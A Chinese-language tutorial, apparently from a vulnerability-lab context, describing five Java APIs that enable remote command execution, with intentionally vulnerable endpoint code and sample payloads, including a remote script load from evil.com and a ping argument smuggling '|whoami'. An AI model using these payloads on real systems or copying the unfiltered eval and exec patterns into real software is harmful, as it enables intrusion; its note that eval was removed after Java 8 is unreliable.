文章目录
- java 五大常见 RCE API
- Runtime
- LoadJs
- groovy
- ProcessBuilder
- ProcessImpl
java 五大常见 RCE API
Runtime
最基本的 RCE 利用
Runtime.getRuntime().exec(cmd)
getRuntime() 常用于执行本地命令,使用频率较高
LoadJs
public void jsEngine(String url) throws Exception {ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);String payload = String.format("load('%s')", url);engine.eval(payload, bindings);
}
通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行远程恶意代码
假设公网上有一恶意 js 脚本,该脚本导入了 java 环境执行 java 命令,我们就可以远程包含这个文件执行其恶意代码
var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
payload
url=http://evil.com/java/1.js
⚠️ 在Java 8之后移除了ScriptEngineManager的eval
groovy
Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码
GroovyShell可动态运行groovy语言,也可以用于命令执行,如果用户的输入不加以过滤会导致rce。
@GetMapping("/groovy")public String groovyExec(String cmd, Model model) {GroovyShell shell = new GroovyShell();try {shell.evaluate(cmd);model.addAttribute("results", "执行成功!!!");} catch (Exception e) {e.printStackTrace();model.addAttribute("results", e.toString());}return "basevul/rce/groovy";}
payload
http://127.0.0.1:8000/home/rce/groovy?cmd='calc'.execute()
ProcessBuilder
Process类是一个抽象类(所有的方法均是抽象的),封装了一个进程(即一个执行程序)。
Process 类提供了执行从进程输入、执行输出到进程、等待进程完成、检查进程的退出状态以及销毁(杀掉)进程的方法。
ProcessBuilder.start() 和 Runtime.exec 方法创建一个本机进程,并返回 Process 子类的一个实例,该实例可用来控制进程并获取相关信息。
创建的子进程没有自己的终端或控制台。它的所有标准 io(即 stdin,stdout,stderr)操作都将通过三个流 (getOutputStream(),getInputStream(),getErrorStream()) 重定向到父进程,通过流的形式进行读取。
// String[] cmdList = {"sh", "-c", "ping -c 1 " + ip};String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};StringBuilder sb = new StringBuilder();String line;String results;// 利用指定的操作系统程序和参数构造一个进程生成器ProcessBuilder pb = new ProcessBuilder(cmdList);pb.redirectErrorStream(true);// 使用此进程生成器的属性启动一个新进程Process process = null;try {process = pb.start();// 取得命令结果的输出流InputStream fis = process.getInputStream();// 用一个读输出流类去读InputStreamReader isr = new InputStreamReader(fis, "GBK");// 用缓存器读行BufferedReader br = new BufferedReader(isr);//直到读完为止while ((line = br.readLine()) != null) {sb.append(line).append(System.lineSeparator());}results = sb.toString();} catch (IOException e) {e.printStackTrace();results = e.toString();
payload
?ip=127.0.0.1|whoami
ProcessImpl
ProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类
对于ProcessImpl类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的
该类非Public修饰,所以在不同包下只能通过反射的方式去调用执行。
public static String vul(String cmd) throws Exception {// 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象Class clazz = Class.forName("java.lang.ProcessImpl");// 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);// 使用 method.setAccessible 方法将 start 方法设为可访问method.setAccessible(true);// 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}
payload
cmd=whoami